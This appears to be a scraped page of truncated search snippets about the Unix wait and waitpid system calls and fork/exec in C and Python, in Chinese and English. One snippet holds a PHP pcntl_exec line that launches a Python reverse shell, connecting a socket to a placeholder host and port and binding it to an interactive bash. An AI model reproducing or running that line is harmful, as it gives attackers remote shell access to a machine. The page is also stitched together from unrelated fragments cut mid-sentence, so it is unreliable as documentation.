wait函数 python wait函数和waitpid #include <sys/wait.h> int wait(int statloc); int waitpid(pid_t pid,int *statloc,int option); 两个函数返回值:若成功返回进程ID;若出错返回0或-1; 当一个进程正常或异常终止时,内核就向其父进程发送SIGCHLD信号。因
phppcntl_exec("/usr/bin/python",array('-c','import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM,socket.SOL_TCP);s.connect(("{ip}",{port}));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i...
print(f"Parent continues, child PID: {pid}") os.waitpid(pid, 0) The parent process forks a child, which then executesls. The parent waits for the child to complete. This pattern is fundamental in Unix systems for process creation. The fork creates the process, and exec replaces its mem...
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pid_t waitpid(pid_t pid, int *status,int options) 參數: status:如果不是空,會把狀態資訊寫到它指向的位置 options:允許改變waitpid的行為,最有用的一個選項是WNOHANG,它的作用是防止waitpid把調用者的執行掛起等待 傳回值:如果成功返回等待子進程的ID,失敗返回-1 ...